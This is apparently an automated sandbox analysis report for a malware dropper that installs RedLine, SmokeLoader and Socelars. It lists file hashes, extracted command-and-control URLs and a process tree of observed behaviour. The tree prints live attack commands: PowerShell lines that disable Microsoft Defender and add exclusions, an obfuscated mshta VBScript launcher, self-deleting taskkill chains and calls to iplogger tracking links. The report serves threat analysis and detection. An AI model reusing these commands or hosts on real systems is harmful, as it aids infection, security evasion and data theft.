Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
022e3c30a1...66.exe
windows7_x64
10022e3c30a1...66.exe
windows10_x64
104d27dca0a1...ef.exe
windows7_x64
104d27dca0a1...ef.exe
windows10_x64
10578a3a7a2b...b3.exe
windows7_x64
10578a3a7a2b...b3.exe
windows10_x64
109c4880a98c...82.exe
windows7_x64
109c4880a98c...82.exe
windows10_x64
10a1dad4a83d...c4.exe
windows7_x64
10a1dad4a83d...c4.exe
windows10_x64
10acf1b7d80f...e0.exe
windows7_x64
10acf1b7d80f...e0.exe
windows10_x64
10cbf31d825a...d2.exe
windows7_x64
10cbf31d825a...d2.exe
windows10_x64
10db76a117db...12.exe
windows7_x64
10db76a117db...12.exe
windows10_x64
10e2ffb8aeeb...f6.exe
windows7_x64
10e2ffb8aeeb...f6.exe
windows10_x64
10f2196668f4...cb.exe
windows7_x64
10f2196668f4...cb.exe
windows10_x64
10Resubmissions
10/11/2021, 14:50
211110-r7nbvaeddr 1008/11/2021, 16:12
211108-tnmmbahgaj 1008/11/2021, 15:26
211108-svdsbaccf6 1008/11/2021, 14:48
211108-r6lfvshdfn 10Analysis
-
max time kernel
24s -
max time network
177s -
platform
windows7_x64 -
resource
win7-en-20211104 -
submitted
08/11/2021, 14:48
Static task
static1
Behavioral task
behavioral1
Sample
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Resource
win7-en-20211104
Behavioral task
behavioral2
Sample
022e3c30a1504fde93e24b2206f804a923ee9785e4db81a166939a1e7b928b66.exe
Resource
win10-en-20211014
Behavioral task
behavioral3
Sample
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
Resource
win7-en-20211104
Behavioral task
behavioral4
Sample
4d27dca0a1e05e876c2a1a8c09854c847b8e21bc5db294ad63cbfc603b5d62ef.exe
Resource
win10-en-20211014
Behavioral task
behavioral5
Sample
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
Resource
win7-en-20211104
Behavioral task
behavioral6
Sample
578a3a7a2b73a5c5f4a0485db0980b9acfa89b8e44690e799272d5cfb0237ab3.exe
Resource
win10-en-20211104
Behavioral task
behavioral7
Sample
9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
Resource
win7-en-20211014
Behavioral task
behavioral8
Sample
9c4880a98c53084391a2e2ec350515da63c1dc8ac929af17f012b690b0453782.exe
Resource
win10-en-20211104
Behavioral task
behavioral9
Sample
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Resource
win7-en-20211014
Behavioral task
behavioral10
Sample
a1dad4a83d843acffbf293c0979951255abd9be4524d5a46c2fd48942a8a47c4.exe
Resource
win10-en-20211104
Behavioral task
behavioral11
Sample
acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe
Resource
win7-en-20211104
Behavioral task
behavioral12
Sample
acf1b7d80fc61269691cc9c7cb4884ffd5bbf5b1538c336c1007127d157738e0.exe
Resource
win10-en-20211014
Behavioral task
behavioral13
Sample
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
Resource
win7-en-20211104
Behavioral task
behavioral14
Sample
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
Resource
win10-en-20211014
Behavioral task
behavioral15
Sample
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
Resource
win7-en-20211104
Behavioral task
behavioral16
Sample
db76a117dba6c24a64f328418c742a46b987d3b0914564ea439d468aa422aa12.exe
Resource
win10-en-20211014
Behavioral task
behavioral17
Sample
e2ffb8aeeb869fbb3de97b95b0c5c9cf2234d85612ba111115a938c89e4d94f6.exe
Resource
win7-en-20211104
Behavioral task
behavioral18
Sample
e2ffb8aeeb869fbb3de97b95b0c5c9cf2234d85612ba111115a938c89e4d94f6.exe
Resource
win10-en-20211014
Behavioral task
behavioral19
Sample
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
Resource
win7-en-20211104
Behavioral task
behavioral20
Sample
f2196668f412d730bc6bd24f08b749ed411d3450f9b4af846fc759e249f72acb.exe
Resource
win10-en-20211104
General
-
Target
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
-
Size
5.6MB
-
MD5
5802bc4fd763cd759b7875e94f9f2eaf
-
SHA1
91eaa6e6f9b5c52a2b91806bfbf513ed336e3f6a
-
SHA256
cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2
-
SHA512
91f9c64c61456c91e74cad1c8a5f9aca54e44f00612085721c1b2ad8e9305679f3ed562939b0505843c06b619ab8f4818f3a537e33c122a02569cf080d13181a
Malware Config
Extracted
socelars
http://www.iyiqian.com/
http://www.hbgents.top/
http://www.rsnzhy.com/
http://www.efxety.top/
Extracted
smokeloader
2020
http://brandyjaggers.com/upload/
http://andbal.com/upload/
http://alotofquotes.com/upload/
http://szpnc.cn/upload/
http://uggeboots.com/upload/
http://100klv.com/upload/
http://rapmusic.at/upload/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 776 1092 rundll32.exe 92 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 2 IoCs
resource yara_rule behavioral13/memory/2652-256-0x0000000000418D2E-mapping.dmp family_redline behavioral13/memory/2452-296-0x0000000000418542-mapping.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars Payload 1 IoCs
resource yara_rule behavioral13/files/0x00050000000125ee-133.dat family_socelars -
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata: ET MALWARE GCleaner Downloader Activity M5
-
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
-
resource yara_rule behavioral13/files/0x000600000001224f-71.dat aspack_v212_v242 behavioral13/files/0x0007000000012210-73.dat aspack_v212_v242 behavioral13/files/0x0007000000012210-74.dat aspack_v212_v242 behavioral13/files/0x000600000001224f-72.dat aspack_v212_v242 behavioral13/files/0x000600000001225f-78.dat aspack_v212_v242 behavioral13/files/0x000600000001225f-77.dat aspack_v212_v242 -
Downloads MZ/PE file
-
Executes dropped EXE 19 IoCs
pid Process 568 setup_installer.exe 1432 setup_install.exe 1492 Tue010769fc7f9829.exe 544 Tue01d702368dbba.exe 1156 Tue017abac33187.exe 392 Tue0133c29150b.exe 1804 Tue01c451610f4a.exe 1900 Tue018f791563585c0f9.exe 1956 Tue01994ec7a792fea9.exe 1720 Tue0195119235.exe 1028 Tue01de2411919659f09.exe 1468 Tue0138d4026db6d813e.exe 972 Tue01bba8b80fa4.exe 736 Tue0121ab289cd9a.exe 784 Tue0105f10596.exe 1696 Tue01e8898e0d1fce4.exe 896 Tue01bf08f313b912.exe 808 Tue01d702368dbba.tmp 1584 Tue018bc5c5a0a3d4.exe -
Loads dropped DLL 52 IoCs
pid Process 1072 cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe 568 setup_installer.exe 568 setup_installer.exe 568 setup_installer.exe 568 setup_installer.exe 568 setup_installer.exe 568 setup_installer.exe 1432 setup_install.exe 1432 setup_install.exe 1432 setup_install.exe 1432 setup_install.exe 1432 setup_install.exe 1432 setup_install.exe 1432 setup_install.exe 1432 setup_install.exe 1712 cmd.exe 988 cmd.exe 960 cmd.exe 960 cmd.exe 1744 cmd.exe 1744 cmd.exe 764 cmd.exe 1896 cmd.exe 1812 cmd.exe 544 Tue01d702368dbba.exe 544 Tue01d702368dbba.exe 1156 Tue017abac33187.exe 1728 cmd.exe 540 cmd.exe 1192 cmd.exe 540 cmd.exe 1192 cmd.exe 1632 cmd.exe 1632 cmd.exe 392 Tue0133c29150b.exe 1156 Tue017abac33187.exe 812 cmd.exe 1616 cmd.exe 1900 Tue018f791563585c0f9.exe 392 Tue0133c29150b.exe 1964 cmd.exe 936 cmd.exe 544 Tue01d702368dbba.exe 1900 Tue018f791563585c0f9.exe 1940 cmd.exe 1720 Tue0195119235.exe 1028 Tue01de2411919659f09.exe 972 Tue01bba8b80fa4.exe 1468 Tue0138d4026db6d813e.exe 1804 Tue01c451610f4a.exe 784 Tue0105f10596.exe 1720 Tue0195119235.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 9 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 52 ipinfo.io 54 ipinfo.io 108 api.db-ip.com 110 api.db-ip.com 119 freegeoip.app 121 freegeoip.app 124 freegeoip.app 8 ip-api.com 122 freegeoip.app -
Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
-
autoit_exe 3 IoCs
AutoIT scripts compiled to PE executables.
resource yara_rule behavioral13/files/0x00050000000125f6-112.dat autoit_exe behavioral13/files/0x00050000000125f6-161.dat autoit_exe behavioral13/files/0x00050000000125f6-159.dat autoit_exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 3 IoCs
pid pid_target Process procid_target 1864 1432 WerFault.exe 29 2260 784 WerFault.exe 63 2316 1900 WerFault.exe 53 -
Kills process with taskkill 2 IoCs
pid Process 2728 taskkill.exe 2720 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1072 wrote to memory of 568 1072 cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe 28 PID 1072 wrote to memory of 568 1072 cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe 28 PID 1072 wrote to memory of 568 1072 cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe 28 PID 1072 wrote to memory of 568 1072 cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe 28 PID 1072 wrote to memory of 568 1072 cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe 28 PID 1072 wrote to memory of 568 1072 cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe 28 PID 1072 wrote to memory of 568 1072 cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe 28 PID 568 wrote to memory of 1432 568 setup_installer.exe 29 PID 568 wrote to memory of 1432 568 setup_installer.exe 29 PID 568 wrote to memory of 1432 568 setup_installer.exe 29 PID 568 wrote to memory of 1432 568 setup_installer.exe 29 PID 568 wrote to memory of 1432 568 setup_installer.exe 29 PID 568 wrote to memory of 1432 568 setup_installer.exe 29 PID 568 wrote to memory of 1432 568 setup_installer.exe 29 PID 1432 wrote to memory of 1080 1432 setup_install.exe 31 PID 1432 wrote to memory of 1080 1432 setup_install.exe 31 PID 1432 wrote to memory of 1080 1432 setup_install.exe 31 PID 1432 wrote to memory of 1080 1432 setup_install.exe 31 PID 1432 wrote to memory of 1080 1432 setup_install.exe 31 PID 1432 wrote to memory of 1080 1432 setup_install.exe 31 PID 1432 wrote to memory of 1080 1432 setup_install.exe 31 PID 1432 wrote to memory of 944 1432 setup_install.exe 32 PID 1432 wrote to memory of 944 1432 setup_install.exe 32 PID 1432 wrote to memory of 944 1432 setup_install.exe 32 PID 1432 wrote to memory of 944 1432 setup_install.exe 32 PID 1432 wrote to memory of 944 1432 setup_install.exe 32 PID 1432 wrote to memory of 944 1432 setup_install.exe 32 PID 1432 wrote to memory of 944 1432 setup_install.exe 32 PID 1432 wrote to memory of 988 1432 setup_install.exe 33 PID 1432 wrote to memory of 988 1432 setup_install.exe 33 PID 1432 wrote to memory of 988 1432 setup_install.exe 33 PID 1432 wrote to memory of 988 1432 setup_install.exe 33 PID 1432 wrote to memory of 988 1432 setup_install.exe 33 PID 1432 wrote to memory of 988 1432 setup_install.exe 33 PID 1432 wrote to memory of 988 1432 setup_install.exe 33 PID 1432 wrote to memory of 960 1432 setup_install.exe 34 PID 1432 wrote to memory of 960 1432 setup_install.exe 34 PID 1432 wrote to memory of 960 1432 setup_install.exe 34 PID 1432 wrote to memory of 960 1432 setup_install.exe 34 PID 1432 wrote to memory of 960 1432 setup_install.exe 34 PID 1432 wrote to memory of 960 1432 setup_install.exe 34 PID 1432 wrote to memory of 960 1432 setup_install.exe 34 PID 1432 wrote to memory of 1812 1432 setup_install.exe 35 PID 1432 wrote to memory of 1812 1432 setup_install.exe 35 PID 1432 wrote to memory of 1812 1432 setup_install.exe 35 PID 1432 wrote to memory of 1812 1432 setup_install.exe 35 PID 1432 wrote to memory of 1812 1432 setup_install.exe 35 PID 1432 wrote to memory of 1812 1432 setup_install.exe 35 PID 1432 wrote to memory of 1812 1432 setup_install.exe 35 PID 1432 wrote to memory of 1896 1432 setup_install.exe 36 PID 1432 wrote to memory of 1896 1432 setup_install.exe 36 PID 1432 wrote to memory of 1896 1432 setup_install.exe 36 PID 1432 wrote to memory of 1896 1432 setup_install.exe 36 PID 1432 wrote to memory of 1896 1432 setup_install.exe 36 PID 1432 wrote to memory of 1896 1432 setup_install.exe 36 PID 1432 wrote to memory of 1896 1432 setup_install.exe 36 PID 1432 wrote to memory of 1744 1432 setup_install.exe 46 PID 1432 wrote to memory of 1744 1432 setup_install.exe 46 PID 1432 wrote to memory of 1744 1432 setup_install.exe 46 PID 1432 wrote to memory of 1744 1432 setup_install.exe 46 PID 1432 wrote to memory of 1744 1432 setup_install.exe 46 PID 1432 wrote to memory of 1744 1432 setup_install.exe 46 PID 1432 wrote to memory of 1744 1432 setup_install.exe 46 PID 1432 wrote to memory of 764 1432 setup_install.exe 43
Processes
-
C:\Users\Admin\AppData\Local\Temp\cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe"C:\Users\Admin\AppData\Local\Temp\cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1072 -
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:568 -
C:\Users\Admin\AppData\Local\Temp\7zS83204536\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS83204536\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1432 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable4⤵PID:1080
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable5⤵PID:1472
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵PID:944
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵PID:1120
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue01d702368dbba.exe4⤵
- Loads dropped DLL
PID:988 -
C:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue01d702368dbba.exeTue01d702368dbba.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:544 -
C:\Users\Admin\AppData\Local\Temp\is-AJTMG.tmp\Tue01d702368dbba.tmp"C:\Users\Admin\AppData\Local\Temp\is-AJTMG.tmp\Tue01d702368dbba.tmp" /SL5="$4012E,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue01d702368dbba.exe"6⤵
- Executes dropped EXE
PID:808 -
C:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue01d702368dbba.exe"C:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue01d702368dbba.exe" /SILENT7⤵PID:2088
-
C:\Users\Admin\AppData\Local\Temp\is-DPJ0F.tmp\Tue01d702368dbba.tmp"C:\Users\Admin\AppData\Local\Temp\is-DPJ0F.tmp\Tue01d702368dbba.tmp" /SL5="$2019E,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue01d702368dbba.exe" /SILENT8⤵PID:2280
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue0133c29150b.exe4⤵
- Loads dropped DLL
PID:960 -
C:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue0133c29150b.exeTue0133c29150b.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:392
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue01994ec7a792fea9.exe4⤵
- Loads dropped DLL
PID:1812 -
C:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue01994ec7a792fea9.exeTue01994ec7a792fea9.exe5⤵
- Executes dropped EXE
PID:1956 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\_Dzpafigaxd.vbs"6⤵PID:2736
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionPath C:\,'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Google\Qekdqa.exe'7⤵PID:2404
-
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Dzpafigaxd.vbs"6⤵PID:968
-
-
C:\Users\Admin\AppData\Local\Temp\MSBuild.exeC:\Users\Admin\AppData\Local\Temp\MSBuild.exe6⤵PID:3228
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.google.com7⤵PID:3340
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue018f791563585c0f9.exe4⤵
- Loads dropped DLL
PID:1896 -
C:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue018f791563585c0f9.exeTue018f791563585c0f9.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1900 -
C:\Users\Admin\Pictures\Adobe Films\q0cvzP7x0FiMgbbsRG_Etosx.exe"C:\Users\Admin\Pictures\Adobe Films\q0cvzP7x0FiMgbbsRG_Etosx.exe"6⤵PID:2180
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1900 -s 7486⤵
- Program crash
PID:2316
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue0138d4026db6d813e.exe /mixone4⤵
- Loads dropped DLL
PID:540 -
C:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue0138d4026db6d813e.exeTue0138d4026db6d813e.exe /mixone5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1468 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "Tue0138d4026db6d813e.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue0138d4026db6d813e.exe" & exit6⤵PID:2536
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "Tue0138d4026db6d813e.exe" /f7⤵
- Kills process with taskkill
PID:2728
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue010769fc7f9829.exe4⤵
- Loads dropped DLL
PID:1712 -
C:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue010769fc7f9829.exeTue010769fc7f9829.exe5⤵
- Executes dropped EXE
PID:1492
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue018bc5c5a0a3d4.exe4⤵
- Loads dropped DLL
PID:1940 -
C:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue018bc5c5a0a3d4.exeTue018bc5c5a0a3d4.exe5⤵
- Executes dropped EXE
PID:1584
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue0195119235.exe4⤵
- Loads dropped DLL
PID:1728 -
C:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue0195119235.exeTue0195119235.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1720 -
C:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue0195119235.exe"C:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue0195119235.exe" -u6⤵PID:1636
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue01e8898e0d1fce4.exe4⤵
- Loads dropped DLL
PID:1964 -
C:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue01e8898e0d1fce4.exeTue01e8898e0d1fce4.exe5⤵
- Executes dropped EXE
PID:1696 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscriPT: cLOsE( crEaTeoBjEct ( "wsCriPT.ShEll" ). ruN ( "cMD /Q /r copY /Y ""C:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue01e8898e0d1fce4.exe"" ..\GhXkKMW.EXe &&sTarT ..\GhXkKMW.Exe /pzztRb0w26vFPLWe3xRyQv & If """" == """" for %K in (""C:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue01e8898e0d1fce4.exe"") do taskkill /f /IM ""%~NXK"" ", 0, tRuE) )6⤵PID:2228
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue01bba8b80fa4.exe4⤵
- Loads dropped DLL
PID:1632 -
C:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue01bba8b80fa4.exeTue01bba8b80fa4.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:972
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue01c451610f4a.exe4⤵
- Loads dropped DLL
PID:764 -
C:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue01c451610f4a.exeTue01c451610f4a.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1804 -
C:\Users\Public\run.exeC:\Users\Public\run.exe6⤵PID:2840
-
-
C:\Users\Public\run2.exeC:\Users\Public\run2.exe6⤵PID:2864
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" https://iplogger.org/18tji77⤵PID:2908
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2908 CREDAT:275457 /prefetch:28⤵PID:1056
-
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2908 CREDAT:668682 /prefetch:28⤵PID:1644
-
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2908 CREDAT:734217 /prefetch:28⤵PID:2556
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue01bf08f313b912.exe4⤵
- Loads dropped DLL
PID:936 -
C:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue01bf08f313b912.exeTue01bf08f313b912.exe5⤵
- Executes dropped EXE
PID:896 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵PID:2816
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
PID:2720
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue01de2411919659f09.exe4⤵
- Loads dropped DLL
PID:1192 -
C:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue01de2411919659f09.exeTue01de2411919659f09.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1028 -
C:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue01de2411919659f09.exeC:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue01de2411919659f09.exe6⤵PID:2544
-
-
C:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue01de2411919659f09.exeC:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue01de2411919659f09.exe6⤵PID:2652
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue017abac33187.exe4⤵
- Loads dropped DLL
PID:1744 -
C:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue017abac33187.exeTue017abac33187.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1156 -
C:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue017abac33187.exeC:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue017abac33187.exe6⤵PID:2536
-
-
C:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue017abac33187.exeC:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue017abac33187.exe6⤵PID:2644
-
-
C:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue017abac33187.exeC:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue017abac33187.exe6⤵PID:2700
-
-
C:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue017abac33187.exeC:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue017abac33187.exe6⤵PID:2928
-
-
C:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue017abac33187.exeC:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue017abac33187.exe6⤵PID:884
-
-
C:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue017abac33187.exeC:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue017abac33187.exe6⤵PID:2452
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" https://iplogger.org/1kYWa77⤵PID:2964
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2964 CREDAT:275457 /prefetch:28⤵PID:2476
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue0105f10596.exe4⤵
- Loads dropped DLL
PID:1616 -
C:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue0105f10596.exeTue0105f10596.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:784 -
C:\Users\Admin\Pictures\Adobe Films\q0cvzP7x0FiMgbbsRG_Etosx.exe"C:\Users\Admin\Pictures\Adobe Films\q0cvzP7x0FiMgbbsRG_Etosx.exe"6⤵PID:1716
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 784 -s 15006⤵
- Program crash
PID:2260
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue0121ab289cd9a.exe4⤵
- Loads dropped DLL
PID:812 -
C:\Users\Admin\AppData\Local\Temp\7zS83204536\Tue0121ab289cd9a.exeTue0121ab289cd9a.exe5⤵
- Executes dropped EXE
PID:736
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1432 -s 5004⤵
- Program crash
PID:1864
-
-
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:776 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:1168
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵PID:1472